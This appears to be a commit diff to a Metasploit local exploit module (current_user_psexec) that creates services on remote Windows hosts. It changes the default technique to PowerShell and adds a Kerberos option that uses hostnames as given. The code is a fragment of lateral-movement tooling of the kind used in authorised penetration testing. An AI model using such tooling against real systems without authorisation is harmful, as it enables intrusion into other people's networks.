Use DNS names

modules/exploits/windows/local/current_user_psexec.rb

@@ -59,8 +59,9 @@ class Metasploit3 < Msf::Exploit::Local
         ]),
       OptString.new("NAME",     [ false, "Service name on each target in RHOSTS (Default: random)" ]),
       OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
-      OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'SMB', ['PSH', 'SMB'] ]),
+      OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'PSH', ['PSH', 'SMB'] ]),
       OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
+      OptBool.new("KERBEROS", [ true, "Authenticate via Kerberos, dont resolve hostnames", false ])
     ])
   end
 
@@ -102,7 +103,13 @@ class Metasploit3 < Msf::Exploit::Local
     end
 
     begin
-      Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
+      if datastore['KERBEROS']
+        targets = datastore['RHOSTS'].split(', ').map{ |a| a.split(' ') }.flatten
+      else
+        targets = Rex::Socket::RangeWalker.new(datastore["RHOSTS"])
+      end
+
+      targets.each do |server|
         begin
           print_status("#{server.ljust(16)} Creating service #{name}")